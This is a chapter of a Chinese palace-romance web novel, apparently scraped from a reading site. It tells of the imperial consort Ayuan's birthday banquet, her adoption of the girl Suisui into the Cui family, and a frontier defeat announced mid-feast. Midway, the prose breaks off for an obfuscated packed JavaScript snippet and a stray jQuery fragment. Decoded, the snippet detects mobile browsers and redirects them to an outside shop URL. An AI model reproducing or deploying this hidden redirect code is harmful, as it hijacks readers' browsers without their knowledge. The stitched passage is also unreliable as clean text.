二月十七日，皇贵妃芳诞。
阿元早起朝拜母亲的画像，朝阳公主神态含笑，身穿彩衣，环带飘飞，像一个慈悲亲切的菩萨娘子。
她永远没有忧愁。
玉兔西坠，金乌东升。金光万丈，皇帝缓步而来，与阿元并肩跪下。
“我不知生母，自幼只得姑姑关怀，如今表妹嫁我做妻子，我当深谢姑姑大恩大德。”他牵握阿元冰冷的手，表妹的手可真冷，永远也捂不热。皇帝攥紧那只手抚向胸膛，触碰他的心脏，目光真挚，“每次祭拜，我向姑姑承诺，永不辜负表妹。表妹，你是我心中挚爱，最亲的人。”
可是他的真心，不知表妹能否感受到？
阿元雪白的面颊，微微低垂，像一枝挂满露水被人折下的美丽鲜花。
皇帝温柔注视，“表妹不哭，过生辰应该高兴才是，我想让表妹高兴。”
小满却知道郡主不高兴，一点也高兴不起来。
正午过后，天下宾客纷纷入宫朝贺。兰桂腾芳楼位于莲湖中央，早春时节，湖面已有无数芙蕖绽放，新荷小小，清香漂浮。四面飞廊相连，雀檐悬挂宝铎，聆听八方风声。
偶有风动，铃声轻响，莲湖绿意涌动，芙蕖盈盈颤动。
兰桂腾芳楼高五层，巍耸的金色琉璃屋瓦，照出金荷朵朵。
绿衣红裙的宫娥引宾客或经悬空飞廊，或乘莲湖小舟，天上地下而来。
甫一踏入，金砖铺地，水晶为壁，无数明珠点缀，饰以大片牡丹花。曲水流觞，绿水红花。四隅立有高大的桂树，玉石雕刻，树梢桂花朵朵，晶莹剔透。万朵牡丹环环拥簇，轻托月下瑶台。
金翠相射，锦绣交辉，却是人间胜仙宫。
宾客云集，小声宴饮。穗穗依偎在姨母身边，看人来人去，赏簇蔟珠蕊。
这里四四方方的，人被困在四四方方的地方，花也被困在四四方方的地方。
穗穗等了很久，直到金乌西坠，玉兔东升，一弯月亮高悬天边，照得人间如银。风动荷叶，脉脉荷花上的小小夜露，宛若一汪珍珠，水上无数金灯点亮。
倏然万籁俱寂，一道清脆的鸾铃声自远而近，徐徐飘至。皇贵妃生辰，施恩众人不必朝拜，许多个像穗穗这样的小女孩，好奇地抬头偷看。
皇贵妃，真的像大家说的那样是一个很厉害的人吗？
纱灯如海，繁花似锦。凤鸾车缓缓驶来，两侧翠羽蕖花流光相映。威严的帝王牵握皇贵妃的手，在骤然响动的山呼万岁声中，金色的薄纱轻轻拂过牡丹花丛，浸染月露花香，曲水流觞间雪雾浮动，无数花蕊珠玉簇拥，并不能看清她美丽的面容。
只能仰望，而不能任人欣赏。
今夜的华美盛宴，令人心潮澎湃，目眩神迷。前所未有的强大帝国，英明的帝王，瑰丽的宫阙，此时此刻都是她的陪衬。
穗穗觉得自己喝醉了，她悄然打量周围的人，大家也都醉了。
贵人相携走向月下瑶台，簇拥千百枝秾艳牡丹，硕大的艳色花冠，金色花蕊，琉璃似的纤薄花瓣，柔枝轻颤。
御前内侍官拂尘一扬，高声呼道：“传皇帝陛下令、皇贵妃令，今夜，请诸君纵情欢乐！”
黄金台上，舞伎踏乐而起，宛若飞天，无数花瓣随风漫洒，宾客争相涌上前观望。穗穗在人潮之中，忽见一道红绸凌空舞动，卷起一朵重瓣牡丹花，遥遥簪在她的发鬓。
眼前铺天盖地的红绸收卷，人群从两侧缓缓分开，一位红衣女官行来，手中提着一只盛满牡丹花的竹篮。来人面容光洁，一双长眉，沉稳聪慧，皆知她是皇贵妃身边的女官，引得众人瞩目。
飞融先向崔令绮行礼，再朝穗穗伸出手，笑着说：“韦小姐，跟我走吧。”
这一切像是华美至极的幻梦，姨母含笑朝她点头，穗穗跟随女官朝高台行去。越靠近，穗穗越害怕，她极力稳住颤抖的身形，行至牡丹花丛，女官停下步伐，穗穗当即伏拜在金阶之下。
“快起来。”一道温柔的声音从不远处传来，穗穗悄悄望去，是一个看不出年岁的美妇人，含笑凝视着她，像尊慈美的观音菩萨。
崔令绮称其“大伯母”，是为乔夫人。乔夫人将穗穗扶起身来，温柔轻抚穗穗的肩，慈爱端详她的面容。
此前姨母已经提点过穗穗，穗穗称呼“大外祖母”。乔夫人笑道：“亲人之间，倒不必行大礼。陛下和娘娘在高台之上，你还需再近几步。”
穗穗脸庞通红，乔夫人轻轻推了她一把，穗穗趔趄前行，俯身朝御座方向深深行礼，恭敬道：“陛下，表姨母，秦王殿下。”
她不敢抬头看，脚边簇放的丰盈牡丹花，泛着清淡、微苦的气味，数重金阶之上，高高的瑶台，有女官道：“请韦小姐登阶。”
穗穗垂首沿着金阶上行，须臾便至瑶台，双手用力交握。这是兰桂腾芳楼的最高处，月下赏景，俯视众生相，穗穗在畏惧之余，兀自感到月亮的孤寒，使她不禁颤抖。
“是穗穗吗？”有人轻轻唤她。
穗穗惊得抬起头，只见高高的御座上，坐着一对亲密的夫妻。
帝王威严，皇贵妃，她的表姨母。
明月之下，煌煌灯火之中，千朵万朵的人间绮丽，世间一切都黯然失色。脆弱易碎的美丽，却呈现极致的华丽和冰冷。任何人只要见到她，注定永远忘不掉她。
她是那样令人畏惧，又让人感到怜惜。
表姨母数年以来对穗穗的关怀，使得韦家不敢欺辱她，穗穗想过表姨母应是一个亲切的长辈。她跟随奇怪的阿叔，八百里跋涉，饮山风夜露，是为见表姨母。只是穗穗从未想过，第一次见面，表姨母却能叫出她的乳名。
“你长得很像你的母亲。”
穗穗潸然落泪。
皇贵妃令她靠近，轻轻握住她的手。皇贵妃的声音，像花瓣上垂落的露珠般，纯净柔和，浸有水的凉沁，又裹着花的软香。
“好孩子，七日奔袭八百里，一定很辛苦。”明月的清辉里，阿元凝视着穗穗，“兰漪表姐，你的女儿在豺狼之地，竟然已经长得这么大了。”
足够勇敢，也足够聪慧。
穗穗伏在皇贵妃膝上，嚎啕大哭。她鼓足勇气请求，“表姨母，我不要做韦家的女儿。”
话一出口，才知后怕，面色青白。陛下和皇贵妃象征至高无上的权威，他们会不会认为她离经叛道，背弃生养的恩德呢？违背礼制，可是大错。
阿元轻轻抚摸穗穗的脑袋，“韦氏不配为你的亲族，你可以留在中州，这里有很多你真正的亲人。”
表姨母身上香香的，尽管她的手很冷，却使穗穗的心感到温暖。
阿元询问怀里流泪的小女孩，“穗穗，那你愿意做崔家的女儿吗？”
“做崔家的女儿？”
“你身上同样流着崔家的血脉。”
阿元轻轻擦去女孩脸上的泪水，“赵国公府的乔夫人亲切，赵国公温厚，是两位慈爱的长辈。乔夫人的女儿，是你的七姨母，她嫁去河州，是很远的地方，因此两位老人家时常感到孤独，穗穗是否愿意到赵国公府陪伴他们？”
“那是我母亲从小长大的地方吗？”
“是的。”
“那我愿意！”穗穗又问，“也是显舅舅的家吗？他来看过我，我认识他，他是一个很好的人。”
崔显对任何人和任何事十分宽容友善，只除了阿元，他对阿元简直过分的苛刻。
这场令穗穗终身难忘的见面，只持续非常短暂的时间，却让她的命运从此逆转。
夜晚的春风飘荡，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828183|205206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宴会的喧嚣热闹，湖中的金荷点点，似乎相隔很远。
穗穗诚挚恭贺，“敬祝陛下万寿无疆，表姨母千秋永乐。”
她退回乔夫人身旁，这位慈爱的长辈将她揽入怀中，身处温暖的怀抱，穗穗再回望月下的瑶台，除却宫人，只一家三口，皇帝、皇贵妃，以及近旁的秦王殿下。
皇贵妃偶有咳嗽，秦王捧雪裘衣近前，帝王伸手取来，轻轻披盖在皇贵妃身上。
近乎是完美的一家人。
穗穗听见四姨母的说话声，她的身边还有几位秀雅妇人，皆有着与母亲般相似的眉眼，独属于崔家人的长相。
那位红衣女官婉言道：“娘娘说，崔家的女儿不能受辱，更不能受男人的屈辱。”
崔令绮低声告诉身边的人，“六妹妹，你听到了吗？事到如今，还有什么不能决断的。”目露冰霜，“该到我们反击的时候了。”
崔六娘垂面泣道：“以前从没想过，如今却是阿元妹妹庇护大家。”
穗穗又偷偷望向金阶之上，太远了，月亮之下，她的一切像是月光般朦朦胧胧。原来，她就是阿元，是娘亲思念的阿元妹妹，也是怪阿叔信任的人。阿元，是一个保护大家的人。
皇贵妃体弱，只能略坐半个时辰。天上星河璀璨，人间灯火辉煌，穗穗趴在玉阑干上往下看，努力记住每一个细节，等回去说给萍儿妹妹听。
在穗穗心中，这是一场最华美的盛宴，定然会有圆满的结局。
阑下忽有争执声响起，喧闹人群骤然避向两旁，禁军列队开道，围护一名青衣文官，步履匆匆直往高台而来。
不料前路被一众小黄门拦下，为首乃是两名紫衣高阶内侍。
毛秋一眼认出，此人乃是去岁新科状元明琅，正在兵部当值。明琅手持军报，眉宇焦灼，急声禀道：“西北急报！臣求见陛下、娘娘！”
满目无尽繁华热闹，他双手高举的军报，宛如巨大的讽刺。明琅双眸血红，胸腔的热血陡然冷却了。
夏善一时犹疑，陛下为皇贵妃生辰筹谋许久，今夜当大喜大乐，若是任由此人闯入面奏，恐不能尽善尽美。
毛秋与夏善对视一眼，两人各奉其主，多有嫌隙，此刻却达成一致，关乎国家大事，不容片刻迟缓。
又见禁军左卫将军遣人询问，当即为明琅通禀，引他登金阶赴瑶台。
明琅大步登阶，跪伏御前，双手高高捧住军报，声嘶力竭，“陛下，皇贵妃，西北都护府急报！”
他昂首抬眸，胸中滚烫热血使他不畏惧天威，字字泣血，“三日前，北胡野那部突袭，长平侯率部抵御，不敌，当场殉国，三万将士伤亡，叶城、霍城、轮台等七座重镇，全数失守。”
金阶染血，牡丹泣泪。
帝王捧起阿元的脸腮，轻轻擦去她的血泪，逶迤的裙摆如同鲜艳的花朵似盛开。她伸出手来，牵住丈夫递来的手，帝王眼眸漆黑深沉，注视阿元，似有千言万语，此刻他们有共同的默契。
帝王令群臣殿前集议，旋即离去。
这场无与伦比的夜宴戛然而止，便以这样血腥惨烈的方式。
皇贵妃的裙边无数的鲜花依旧在绽放，无上的人间奢华被她踩在脚下。明琅跟随帝王离去，却听见秦王轻呼一声母亲，回身望去。万点灯火间，皇贵妃伫立金阶之上，垂下头颅，华美的裙摆浸染鲜红血水。
明琅忽而想起，西北七城早在前朝末年失陷，至承平十三年，烈侯率铁骑横扫西陲，收复故土。以身殉国的长平侯，正是皇贵妃的二伯父。
他拱手行礼，转身退去。
夜宴陡然寂静了，黄金台的舞伎停下脚步，宾客四顾茫然，穗穗关切表姨母，踮起脚尖朝金阶望去。
表姨母坐在高高的御座上，月亮变孤独了。